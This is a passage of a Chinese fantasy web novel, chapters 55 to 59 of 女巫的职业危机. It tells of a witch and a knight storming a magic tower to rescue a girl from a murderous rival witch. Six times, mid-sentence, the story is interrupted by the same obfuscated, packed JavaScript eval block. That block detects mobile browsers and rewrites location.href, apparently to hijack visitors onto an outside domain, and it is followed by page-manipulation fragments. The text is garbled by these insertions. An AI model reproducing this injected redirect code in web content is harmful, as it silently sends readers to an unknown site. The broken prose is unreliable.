她觉得难以置信,她小心翼翼地睁开一只眼睛,已经做好了被凑到面前的、有着狰狞表情的头颅吓一跳的心里准备,但没有。她又睁开另一只眼睛,看到的画面和刚刚一样,仍然什么变化都没有。 没事? 罗德转动脑袋,像一只从地底探出脑袋观察地面的田鼠一样,谨慎地观察着这个陌生的世界。 她松开抱着腿的手,轻轻趴在地上,朝笼子边缘爬了两步。 无事发生。 罗德咽了咽口水,颤颤巍巍地克服了心里的恐惧,把手伸到锁上,准备用天赋开锁,就在这时,她听到了“咔嚓”的声音。 罗德心脏猛地一缩,动作僵在那里。 她拗着脖子朝发出动静的地方看去,一个身躯完好的木偶把脑袋转了过来,它的眼眶中塞着一对不规则的黑色石头,石头中心反射出两点昏黄的亮光,暗幽幽的渗人,骇得人的汗毛一根根竖了起来。 罗德像是触电一样松开锁,屁滚尿流地缩回笼子的角落,她用力地咬住自己的拳头,肉嘟嘟的小手被咬出深深的凹痕,痛得她想尖叫,但她不敢把手拿出来。 她怕自己的尖叫会引来木偶的下一步动作——而这,在艾丽西亚的描述中,代表着极度危险。 那时候罗德被艾莉西亚带着训练了如何掌握空间能力,训练得累了,她和艾莉西亚一起坐在粗壮的树干上,两个人一边吃东西一边望着蓝天白云,艾莉西亚就讲一些发生在她曾经呆过的魔法塔的小故事。 其中就讲到和艾莉西亚一起进入魔法塔的女孩,那是个很聪明很有眼色的女孩,十来岁的样子,已经很懂得怎么在让娜面前为自己争取利益了,但即使这样备受宠爱的孩子,因为好奇而在实验室多停留了一会儿,超过让娜规定的时间不过十分钟,就被实验室吸引她注意的布偶啃掉了一条腿。 为了加深罗德的印象,艾莉西亚讲这个小故事的时候,还用一个小小的魔法让罗德一条腿也失去了知觉,罗德吓得哇哇大叫。 这样的故事讲得多了,自然而然地让罗德长了教训。她不敢再轻举妄动,但却也没有放弃逃跑,她评估着自己和木偶之间的距离,也许,她可以把木偶那两颗眼珠子抠下来? 此时,窗户外传来一丝不易察觉的动静。 罗德立刻感觉熬了,她看过去,发现实验室的窗户外出现了一个人影,窗户玻璃被拉开,一个裹着深色斗篷里的人翻了进来。 盘踞在角落的木偶像是得到了开启的命令,它们的脑袋不约而同地转向窗户。 黑斗篷帽子下露出德蒙卡萨英俊的面孔,他一眼就看到了眼睛大睁的罗德,他将食指竖在嘴唇前,示意罗德保持安静。 德蒙卡萨花了三分三十七秒,沿着魔法塔的墙体攀爬到这里,在此期间,他那枚拇指大的陀螺一直在他的右肩旋转,陀螺周围有一层无形的屏障,保证它不会从德蒙卡萨的肩膀掉落。 得益于陀螺的保护,一路过来,德蒙卡萨没有触发任何一个魔法阵法。 一切都在计划中。 德蒙卡萨和艾莉西亚分工合作,他负责来带走这里的孩子们,毁掉这个实验室,为此,艾莉西亚给了他两枚魔法结晶。而艾莉西亚则负责吸引魔法塔主人的注意力,保证德蒙卡萨在离开前,都不让她接近实验室。 德蒙卡萨注意到那些让人毛骨悚然的木偶,他没犹豫,把正在肩膀上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14346540|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旋转的陀螺丢到地上,正在向他围拢的木偶们停下了动作、 有陀螺开道,德蒙卡萨也没有丢失谨慎,凭着经验,他小心地避开女巫可能设置的魔法阵,将木偶一一解决。 罗德几乎要为他欢呼,然而,当德蒙卡萨来到最后一个木偶前时,木偶那僵硬的嘴角缓缓上扬。 德蒙卡萨第一时间就往后退,但来不及了,他感到四肢无比沉重,大脑也像是被灌入泥浆一般,连思维都滞涩起来,他凭借着毅力扭转脖子,看到地面上的陀螺还在旋转,但旋转的速度却越来越慢。 …… 装潢华丽的餐厅内,佩诺拉·帕斯卡与拉里相对而坐。 仆人们像是被剥夺了存在的木偶,他们为两人端上了丰盛的晚餐,就鱼贯离开了这里,只剩下两个目光呆滞的女仆。这些仆人的脚步极轻,彼此之间也没有任何交流。 拉里余光瞄到这些家伙,把那种非人感的不适强行压了下去,他没有去碰盘子里精心烹制的食物,只有一搭没一搭地喝着酒。 他对面的佩诺拉用力地切割肉块,用力地咀嚼着,白齿红唇翻动,偶尔能看到还带着血水的肉块在唇齿间闪过,没有任何由来地,拉里想到了野兽进食的场景。 就在一个小时前,他还把佩诺拉搂进怀里安慰,此时一想到佩诺拉尖锐的牙齿曾经靠近过他的心脏,他都感觉汗毛倒竖,胃部痉挛得难以忍受。 突然,佩诺拉停止进食。 拉里心里一惊,以为自己的异样引起了她的注意,他正要放下酒杯,拿起刀叉,就见佩诺拉“啪”一下放下刀叉,洁白的瓷盘被她拍得裂成几瓣,拉里的心脏也跟着猛地一跳。 拉里强行压抑住负面情绪,在佩诺拉的注视下从容站起来,“怎么了?” 佩诺拉蹙着眉头,她看着拉里的方向,但仔细一看,拉里才发现她并没有看自己,而是看他身后,那通往实验室的楼梯。 “有老鼠闯进我的实验室。” 拉里立刻转身,“我去看看。” “你站住!”佩诺拉喝道,她露出残忍的微笑,“我的宝贝们会好好招待他。” 55. 女巫的职业危机55 佩诺拉露出残忍的微笑:“我的宝贝们会好好招待他——” 下一瞬间,她丢在餐桌上的刀叉突然飞了起来,朝佩诺拉的心脏扎去。 拉里反应敏捷,手里的红酒朝着佩诺拉泼过去,暗红色的液体如同剑一样射出,企图击落刀叉,他的动作不可谓不快,但刀叉飞起来的速度更胜一筹,而佩诺拉并不是那种矫健敏捷的类型,血色惨案似乎即将发生。 紧急时刻,一只纯白的、滚圆的胳膊横在佩诺拉胸前,刀叉飞至,“剁剁”两声扎到了胳膊上,一道雪白的人偶出现在椅子后面,它前倾身体,以一种守护的姿势将佩诺拉严严实实地保护着。 佩诺拉神情莫测,拔出餐刀,狠狠扎在餐盘上,顿时,餐盘四分五裂,餐刀入木三分,寒光闪过,如同佩诺拉眼中的戾气。 “看来还有一只老鼠,滚出来!” 餐厅内一片寂静,没有人回应佩诺拉。 寂静的空气中,只有滴答滴答的声音,那是从人偶刀口处流下来的液体,暗红的颜色,很像血水。 白色人偶手臂的部位变得干瘪而暗淡,很快,只剩下一层皮耷拉在肘部,连带着挂在上面的叉子也摇摇欲坠,片刻后,耷拉的皮层自动脱落,它重新长出小臂,那要比它原来的更细瘦一些,有点像肢体发育不良。接着,人偶的身影消失在空气中。 拉里来到佩诺拉身边,警惕地向四周巡视,想要找出那个在背地里动手的家伙。 “滋啦”,蜡烛的芯子突然闪了一下。 突然,餐厅的窗户突然打开了,魔法塔外的狂风不断让窗叶拍打在窗框上,噼里啪啦地声音想起来,餐厅的氛围都因此变得诡谲。 狂风把蜡烛的火光吹得明明灭灭,烛台被一只无形的手左右掰动,“吱呀吱呀”地响着。烛泪甩得到处飞溅,一道隐隐约约的人形出现在那里,它浑身笼罩在一层朦胧的水雾之中,披着斗篷,兜帽将脸遮盖得严严实实,但看起来体型并不不高大,像是一个女人。 佩诺拉红唇勾起,她的金发在风中狂舞,又在烛光的照耀下反射出光芒。 “好好招待她,宝贝们!” 她的言语蕴含魔力,层层叠叠的力量铺陈开,分布于餐厅角落各处的人形物像是听到命令的士兵,全都动了起来,它们朝着斗篷的位置围拢过去,这些大小不一的人偶手上拿着各式各样的利器,像蚁群一样冲锋陷阵。 但下一秒,佩诺拉的笑容僵在脸上,她发现在操控不了那个穿着斗篷的人。 佩诺拉·帕斯卡脸上露出一丝茫然,自她的天赋觉醒后,她就能将操控有着人形的物体,无论是有血有肉的真人,还是各类材料制作的人偶,她操控起来得心应手,就像挥动自己的肢体一样简单。 而那个站在烛台下的斗篷人员,它看起来似乎有人形,却更像是幻影,她灌注进去的魔力像河流汇入大海一样被冲散了。 不仅如此,当第一个人偶冲过去的时候,斗篷人影如同水汽一样消失了。一起消失的还有那盏华丽的烛台。 人偶们前赴后继地扑过去,不知道是哪一只人偶被跘了一跤,继而接二连三的人偶摔作一团。 “这就是你的能力,女巫?”一道阴森森的低沉嗓音贴着佩诺拉的耳边响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369582|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是有人站在她身后,居高临下,弯下腰故意凑到她耳边,阴暗黏腻,听得人鸡皮疙瘩爬满全身。 “谁?”佩诺拉蓦地转身,握着餐刀朝发出声音的地方劈过去,在她身后,白色人偶体闪现,它手握一把寒光闪闪的利刃,同样袭向那里。 但什么都没有。 无论是佩诺拉还是白色人偶,攻击都落空了。但地板上发出一声清脆的声响,那盏消失的烛台落到地上,就在佩诺拉脚边颤动。 它震颤不休,发出的声音也断断续续,像极了绵延不绝的嘲笑声。 这声音像鼓点一样在佩诺拉的神经上跳舞,她太阳穴鼓鼓跳动,神经紧绷。 但她就是抓不到人,甚至看不到那个人存在。 拉里提议说,“我们离开这里,去实验室。”他认为没有必要再在这里和一个看不到的敌人纠缠下去,而且这只是餐厅,这里的人偶的作用更多是用于装饰,远没有魔法塔其他地方的人偶更有攻击力。 然而,佩诺拉伸手给他了他一巴掌,“闭嘴!懦夫!” 佩诺拉手劲很大,拉里嘴角溢出一丝鲜血,他看着佩诺拉,眼里有着明显的不赞同。 佩诺拉想都没想,扬起巴掌想要给拉里再来一巴掌,“再用你那对眼珠子看着我,我会把他们挖出来镶在人偶脸上。” 拉里抓住她的手,但他闭上了眼睛,他的情绪很稳定,十分从容,“冷静点,帕斯卡,不要让敌人干扰你。” 拉里的话像森林雨后的天空,清凌凌地落到佩诺拉耳里,她立刻清醒过来,额头上冷汗如瀑。 被操控了。 56. 女巫的职业危机56 被操控了。 佩诺拉感到了后怕。她是一个可以操纵所有具有人形外表的女巫,但她却被人操纵了思维,差点和拉里内讧。 这是多么可怕的事。 上一次让她感到如此害怕,还是魔法塔大爆炸的时候。艾莉西亚·切斯特为了逃跑,刹那间变更了所有魔法阵的魔纹,佩诺拉被爆炸席卷,大量魔力撕裂她的身体,鲜血如注,皮肤、肌肉、骨骼被分裂又被她强行粘合,大量的砖石木屑压下来,她像尸体一样被埋葬。 佩诺拉好不容易捡回一条命,她在病床上发誓,一定要那个贱人付出代价。 然而,艾莉西亚逃离后,却像是落入大海的水滴一样消失了。佩诺拉找了她好几年,始终没有她的下落,这几乎让她以为那个贱人已经逃到了别的城市。 直到埃诺里找上门,告诉她她想要找的人伪装成流浪-女巫,还安然无恙的生活在卡斯塔尼亚——就在她的眼皮子底下。 那个害她的贱人叫艾莉西亚·切斯特,而不是苏茜。 是艾莉西亚·切斯特! 等到埃诺里找上门,告诉她这个消息,佩诺拉才知道,切斯特在一开始就已经做好了准备——没有被叫破的真实姓名成了她最严密的防护。 佩诺拉推测,艾莉西亚很可能觉醒了精神操纵一类的天赋,她把姓名当做锚点,只要她愿意,哪怕听说了她这个人、她的经历,也很难把她和过去联系起来。 佩诺拉一想到自己可能与切斯特擦肩而过,却没办法认出她,她就觉得无比愤怒。 这样的愤怒甚至让她压抑住毁灭的强烈渴望,她暗中观察了艾莉西亚一段时间,为她精心编写剧本,她要把切斯特珍视的一切统统毁掉! 切斯特的父母!切斯特的妹妹! 佩诺拉要艾莉西亚饱受折磨,痛苦地死去。 为此,佩诺拉搭进去一个好用的恶魔信徒,没了那个家伙,佩诺拉想要再掳走小女孩,需要更加小心,免得被巡夜者找上门。 不过也不是没有意外收货,切斯特家的小女儿竟然也有女巫天赋,这就更好了! 切斯特没有死在恶魔信徒手里,她就要让切斯特亲眼看到那个可怜的小女孩成为自己进阶更强大女巫的血肉。 佩诺拉要艾莉西亚知道,当年她逃跑欠下的血债,自己要一笔一笔地,从罗德身上,从她身上要回来。 然而,切斯特的敏锐超出了佩诺拉的想象。 佩诺拉甚至还没有补全让娜的魔法药剂,拉里就带着坏消息上门。 而拉里被跟踪了却什么都没发现,切斯特不知道用了什么方法,竟然突破重重魔法阵,直接进入魔法塔。 切斯特就像阴沟里的老鼠,一切能够利用的空洞都能往里钻。 佩诺拉觉得讽刺。 这样一个家伙,竟然让她的老师,这座魔法塔的主人念念不忘。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14379360|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 佩诺拉曾经是让娜最宠爱的学生,她在众多小女巫之中脱颖而出,让娜为她放弃了进阶魔法,精心培养她,想要让佩诺拉成为自己的继承人——但,这在那个还叫苏茜的切斯特出现之前。 切斯特出现之后,哪怕她表现得十分平庸,让娜也精准地发现了她的不同——就像让娜在众多小女巫之中发现了佩诺拉一样。 让娜培养切斯特,教她魔法,教她学识。 让娜甚至让去黑塔游学归来的佩诺拉另寻出路,让娜说她找到了新的继承人,佩诺拉要么另立门户,要么成为新继承人的前进路上的踏脚石。 佩诺拉没有选择。她很痛苦,也很愤怒,但她不敢反抗让娜,她只能被动接受让娜赐予的命运。 可切斯特做了什么呢? 她竟然找到机会溜出魔法塔,勾结一个圣骑士,把整个魔法塔炸成一座废墟,然后逃之夭夭。 而这不是最让佩诺拉伤心的,最让她伤心的是,当佩诺拉把让娜从废墟里挖出来的时候,伤得只剩下半条命的让娜竟然还担心切斯特的安全! 多么讽刺! 多么不公平! 佩诺拉一次冲让娜大吼,她告诉让娜这一切灾难都是切斯特带来的,她亲眼看到切斯特和圣骑士合作,他们毁掉了资料室,毁掉了实验室的。 让娜不信。让娜觉得这是佩诺拉争夺宠爱的手段。 佩诺拉气得快要疯掉了。 57. 女巫的职业危机57 佩诺拉·帕斯卡气得快要疯掉了。 但拉里说得对,她得冷静。 要知道,切斯特已经回到了魔法塔,自己任何不冷静的举动,都是给切斯特创造破绽。 佩诺拉努力让自己平复心情,她对拉里露出笑容,尽管这个笑容无比扭曲,但那至少是佩诺拉控制自己的表现,不是吗? “你说得对,我应该冷静。拉里,我需要一点帮助。” 拉里悬着的心落地,他不怕帕斯卡发疯,但他怕帕斯卡在敌人当前时不顾场合地发疯,如果他不在这里,他会很高兴灯带最后的结果,但该死的安特伍德让他来帮助疯狂的帕斯卡,即使是为了自己性命,他也必须让佩诺拉保持清醒。 一个疯狂的女巫带来的后果将是毁灭性的。 没有人比拉里更清楚这一点。作为拉法索亚大陆和外大陆殖民地土著的后代,虽然遗传了更多母系的血统,但他的生活其实很优越,他有一个不那么坏的父亲,对方给他提供了良好的成长环境和受教育的机会,这也让他成为光明神的信徒。 殖民地的部落是有自己的祭司的,这些祭祀通常是拥有特殊能力的女性,光明教廷的神职人员热衷传教,更热衷剿灭异端,对这些神职人员来说,不肯改姓光明神的当地土著是愚昧落后的,而为了信仰敢攻击他们这些来自文明世界的上等人,那更是不可饶恕的罪恶。 光明教廷本来就有猎杀女巫的传统,土著部落的祭司很容易就成为被剿灭的首要目标,拉里这个有着明显当地人特征的家伙自然而然地成为卧底的不二人选。 但事实上,拉里只做了一次卧底,就不敢再去了。他一开始过得很顺,在收留他的部落里挑拨离间,给神职人员传递情报,做得很成功; 然而祭司很敏锐,次数一多,他就被怀疑上了,为了保住自己的命,拉里隐瞒情报,又帮着祭司给神职人员下套,最后双方打得你死我活,他趁机跑掉。逃离前,他亲眼看到了一个祭司自爆,将神职人员和好几个高阶骑士一并重伤。 那件事发生之后,拉里在殖民地待不下去了,刚好安特伍德需要一个仆人,他便跟着安特伍德来到卡斯塔尼亚。 拉里满心以为自己脱离了那些敏锐可怕的女巫,但他没料到,安特伍德肯留下他,正是看中他与女祭司打交道的能力。安特伍德想要与黑塔的女巫合作,自己不敢过多接触诡秘的女巫们,便将拉里推了出来。 从一个火坑跳到另一个火坑,安特伍德手里捏着拉里的契约书,这一次,拉里甚至没机会逃跑。 拉里让佩诺拉冷静下来,刚松一口气,但接着,他发现自己放心太早了。 佩诺拉看着拉里的眼神变得幽深,等他意识到无法操控自己的身体时,已经来不及了。 他感觉灵魂像是被抽出来关进玻璃罐里,他能看到、感知到外界的一切,却隔着无法突破的桎梏,只能眼睁睁看着悲剧发生。 拉里身体抽搐了一下,像野兽一样四肢着地,佩诺拉的长靴踩住他的背脊,让他的胸膛贴近地面,借由他的身体,佩诺拉操控到更多的魔力。 接着,拉里体内的魔力像是被打开了闸门,源源不断地向外流失,这些向外扩扩散的魔力在房间内有规律地构建一层层魔法网。 这些魔力网是拉里感知的触角延伸,有这些魔力网存在,他能将餐厅的角角落落的存在都掌控其中。 而伴随着魔力网的构建,惊人的魔力消耗让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390034|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉里从一个正值壮年的、健康的成年男人,像是放了气的气球一样干瘪下去,那种速度十分惊人,不过几个呼吸的时间,拉里的肌肉流失严重、皮肤干涸起皱,头发也变得花白,额头上很快出现深刻的皱纹。 佩诺拉操控着拉里,隐隐约约能感觉到一团黑雾一样的存在,就漂浮在进入楼梯间的位置。 她勾起唇瓣,“抓到你了!” 佩诺拉的身影原地消失,出现在楼梯间,但她的之间触及那团黑雾时,黑雾消失了。 佩诺拉一点也不泄气。艾莉西亚弄死了恶魔信徒,得到的新力量似乎很好用,但这对佩诺拉而言,却是极大地优势。 和恶魔信徒合作这么久,她心里十分警惕,早就防着万一恶魔信徒把献祭的主意打到自己头上。 她嘴唇动了动,无声地念起咒语,微微转动身体,将手插进侧后方的阴影之中,精准地抓住一截冰凉的手臂。 那截手臂如同尸体一样冰冷,佩诺拉也一点不在意。 但手臂往内缩的力量过大,佩诺拉一只手拽不住,她朝匍匐在地上的拉里喊,“过来帮忙!” 拉里的身体在地上晃了晃,老态龙钟地朝着佩诺拉爬过去。随着他的动作,佩诺拉发现拉里的状态越发不好了,他的身体似乎成了一具骷髅架子,就剩一层皮裹在上面。 既然抓到了艾莉西亚,佩诺拉便收回了对拉里的操控,构建魔力网的魔力迅速回缩,拉里如同被回春魔法眷顾了一般,干瘪的身体反弹,虽然没有能回到最壮年的时间,却没有一开始那样吓人。 拉里不敢反抗佩诺拉,他低下头,将怨恨藏好,沉默地来到佩诺拉身边,帮着她一起,把藏身于阴影中的人拖了出来。 58. 女巫的职业危机58 佩诺拉的笑容僵在脸上。 她和拉里拖出来的,她以为是艾莉西亚的东西,却是一具浑身光滑洁净的人偶。这人偶四肢纤长,有着玉石一样的质地,没有雕刻五官,像极了放在博物馆展览的艺术品。 就在这时,餐厅天花板上的吊灯突然掉了下来。 装饰在吊灯上的天然水晶碎了一地,吊灯上的烛火点燃了桌布,将整张桌子都烧了起来,火光漫天,一个个人偶全成了火人。 烟雾缭绕时,一把短而锋利的匕首飞了起来——那本是人偶手里握着的武器——它朝着佩诺拉飞去。 佩诺拉操控着人偶轻松躲过。 接着第二把、第三把……第无数把刀刃闪烁带着高温飞向佩诺拉。 佩诺拉那只高大的白色人偶身上全是刀刃,它的脑袋、躯体、四肢干瘪了之后又恢复,恢复后体型就小了一圈,殷红的液体撒得到处都是,佩诺拉的脸上全是血腥味。 但现在的佩诺拉比任何时候都清醒。 炽热的火焰让她回想起曾经魔法塔爆炸的时候,那一次,她毫无防备,被艾莉西亚炸得遍体鳞伤,躺在废墟里呼吸着炽热的空气,心肺都像是要被烫熟了。 这一次不同,她期待这一天很久了。 无数刀刃朝她飞来,却又上不到她半分。 她身后,第一个白色人偶彻底干瘪,成为一张薄薄的皮,火焰蔓延而至,转眼就被烧成灰烬。 佩诺拉身后出现第二只人偶,这是一只浑身赤红的大家伙,它带着高温,所到之处蒸发了所有的水气,它不畏高温,在佩诺拉的指挥下横冲直撞,像一头燃烧的巨兽,把一切阻挡在它前面的东西都焚烧殆尽。 “滚出来!切斯特!我知道是你!你这个没种的表子,我要亲手杀了你,像弄死一只壁虎那样,把你的四肢扯下来,把你的皮剥下来,做成我新的玩偶。” 佩诺拉的声音在火光中十分响亮,艾莉西亚现在她身后,听到她越大癫狂的声音,想不通她怎么会对自己有这么大的敌意。 “你看起来很疑惑,”赫默修斯在艾莉西亚脑子里说,“为什么呢?” 艾莉西亚指使德蒙卡萨去救人,她来对付佩诺拉,除了不想让他划水,更重要的原因是她想借助恶魔的力量,免得和佩诺拉打起来两败俱伤。艾莉西亚伤口还没好,只是暂时用魔力封起来了。 艾莉西亚在心里回答,“我怎么知道,她看起来就不正常,谁知道什么时候不小心把她得罪了?” 难道是因为让娜说要自己继承魔法塔?这……可是她都跑之前都把魔法塔炸掉了诶。又或者,是因为佩诺拉在那场爆炸中吃尽苦头,所以恨上自己了? 不论是什么原因,都不妨碍艾莉西亚继续消耗佩诺拉的理智。 “呵呵~”艾莉西亚的声音出现在餐厅,通过阴影的传递,这感觉像是她出现在每一个角落。 两个可能性,艾莉西亚选择那个更招人恨的,“佩诺拉,这么多年过去了,你还是这样没用。你的老师没有好好教导你吗?啊——我忘记了,你的老师都不打算要你这个学生了,她还会在你身上花费时间吗?毕竟,和我比起来,你是那么愚蠢,那么无能。” “啊啊啊啊啊——”高亢的女声充满了怨愤不甘,佩诺拉的人偶火焰暴涨,制造了一个高温地狱般的环境,持续上升的温度让拉里几乎无法在这里呆下去。 拉里靴子踩着的地板滚烫,像一只蚂蚱似的跳出了餐厅,他刚两只脚刚落到地上,迎面一盏烛台飞了过来,尖锐的地步正对他的眉心。 “切斯特!切斯特!切斯特!该死的切斯特!下地狱的切斯特!你才是被老师放弃的那个!老师只承认我一个继承人,魔法塔也给了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404471|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !你算什么东西?一个该死叛徒!应该被恶魔分食的低劣之人!” 熊熊的火光照亮了佩诺拉狰狞的面孔,她的手段残忍可怕,她的神情却像个没被满足愿望的孩子,虽然是朝着艾莉西亚喊叫,却好像在向那个不会在给予她信任和希望的人索要爱。 艾莉西亚从佩诺拉的身后转移到她对面,看着她的表情,有一瞬间的怔忪。 她令艾莉西亚想起了一个人,和艾莉西亚一起被掳到魔法塔的小女巫中的一个。 那是个很聪明的小女孩,她比所有人都要迅速地认清楚形势,乖巧地听从让娜·艾希每一个命令,无论是去抓冰冷滑腻的毒蛇,还是殴打不听话的同伴,她统统照搬,但最后让娜却选择了拥有成年人灵魂的艾莉西亚。 那时候,那个小女巫绝望的表情和现在的佩诺拉一模一样。 艾莉西亚喉咙里还赌着许多刺激佩诺拉的话语,但这个时候,她一个单词也说不出口。 艾莉西亚感到了命运的悲凉。 如果艾莉西亚没有一个成年的灵魂,如果罗德不是她的妹妹,他们都会像那个小女巫,像佩诺拉一样,成为这座用小女孩们的尸骨垒起来的魔法塔的养料。 哪怕极为幸运地被选择成为魔法塔的继承人,也不过是继续下一个悲剧的循环而已。 “呵呵…有意思,在这样的时刻,你对敌人心软了。” 艾莉西亚垂下眼睫,但在阴影的世界里,她眼前一片黑暗,她摩挲着扳手上的图案,再抬起眼时,目光越过阴影与现实那条界限,看到刚刚跑出去的拉里又忍着高热回到佩诺拉身边。 佩诺拉疯狂喊叫之后竟然还有理智,她又给了拉里一巴掌,作为他临阵脱逃的惩罚。 但她没想到,作为惩罚的回敬,拉里用一把可以破除魔法屏障的匕首,干净利落地刺穿了她的胸膛。 59. 女巫的职业危机59 佩诺拉死得并不容易。 拉里的匕首给她带来了巨大的伤害,却无法一击毙命,拉里还没有机会给她带来第二次伤害,就被那个高温人偶把头拧了下来。 临死前,拉里发出了无法承受的痛苦喊叫,艾莉西亚不知道在这个杀害小女孩的帮凶有没有为他的恶行而忏悔,他最后一声喊出的音节很像“妈妈”的发音,伴随着他的喊叫,艾莉西亚看到了他眼角有泪水流下来。 像极了鳄鱼的眼泪。 被重伤的佩诺拉到最后也没能亲眼见到艾莉西亚。 在过去那段观察艾莉西亚的时间中,佩诺拉层无数次想象着用什么样的方式终结艾莉西亚的性命,那一定是这世界最让人难以忍受的痛苦。 但她没料到,她送去打击艾莉西亚的恶魔信徒反而给艾莉西亚带来了巨大的便利,以至于她在熊熊烈火中失血而死,也没能见到这个臆想中的敌人一面。 佩诺拉眼睛大睁着,带着没能手刃仇人的遗憾下了地狱。 佩诺拉一死,那些需要她才能操控的魔法和人偶失去了控制,魔法塔上面的实验室传出了让人头皮发麻的响动,艾莉西亚飞奔上楼,期间不忘用魔法把恶魔牢牢禁锢,免得在德蒙卡萨这个审判官面前露馅儿。 她的动作因此慢了点,还没跑到楼上,就看到用腋窝夹着罗德冲出来的德蒙卡萨。 艾莉西亚动作不禁顿住,“其他人呢?” 德蒙卡萨面色沉重的摇了摇头。 德蒙卡萨愿意和艾莉西亚兵分两路,也是想要趁着魔法塔的主人不在,能趁机多带走几个小女孩。但他没想到,佩诺拉竟然如此丧心病狂,她剖开了出了罗德之外的所有小女孩的心脏和大脑,取走了她们的血肉、内脏、大脑,一并投放入坩埚熬制,就为了从中提取可以提升自己等阶的魔药。 唯一幸运的是,罗德全程装睡,没有亲眼看到这一血腥残忍的过程,只有满屋子的血腥味萦绕这她。 德蒙卡萨只来得及救下罗德,而在佩诺拉的那些人偶的围攻下,他险些被一个人偶的幻想迷惑,把剑架上了自己的脖子,如果不是罗德及时用能力扣掉了按个人偶向前在眼眶的石头,德蒙卡萨已经把自己斩首了。 饶是如此,此时的德蒙卡萨也是一身狼狈,他身上有深深浅浅的伤口,最严重的是他的左小腿,肌腱被割断了,正往外汩汩冒血。 “艾莉西亚!”罗德挣脱德蒙卡萨,像个炮弹一样扑倒艾莉西亚怀里,这家伙刚刚还很坚定的样子,这时候眼泪掉得跟没有关上开关的水龙头,“我好害怕!她们都死掉了!我以为我也要死掉了!艾莉西亚,我再也不偷懒了,呜呜呜呜……” 直到此时,已经离开了实验室,罗德仍觉得鼻子周围有一股挥之不去的血腥味。罗德还不知道那是什么,但她深深地记住了这股让她恐惧的味道。 艾莉西亚把失而复得的妹妹抱在怀里,不停地抚摸她的头发和背脊,心里渐渐踏实下来。 但她的心还放下得太早,因为她看到了德蒙卡萨的目光,艾莉西亚心中一凛,知道这件事还没完,德蒙卡萨来这里不是为了做好人,他还要带着任务回教廷。 其他的孩子已经没了,现在只剩下罗德一个,不论是艾莉西亚和德蒙卡萨,都知道这意味着什么。 艾莉西亚搂着罗德,警惕地往楼下退了一步。 这一步让德蒙卡萨眯起眼睛。 艾莉西亚率先开口,“德蒙卡萨阁下,感谢您的帮助,这座魔法塔已经被启动了自毁的魔法,我们需要尽快离开。” 德蒙卡萨没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419644|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,他以剑支地,“我想我可能没有与你说清楚,我来这里的目的,是为寻找拥有天赋的小女孩,带回教廷。” “所以呢?”艾莉西亚又退了一步,她已经开始盘算破墙而出了。 德蒙卡萨跨前一步,不多不少,刚好在艾莉西亚想要逃遁的必经之路上,艾莉西亚想要离开,就一定要过德蒙卡萨这一关。 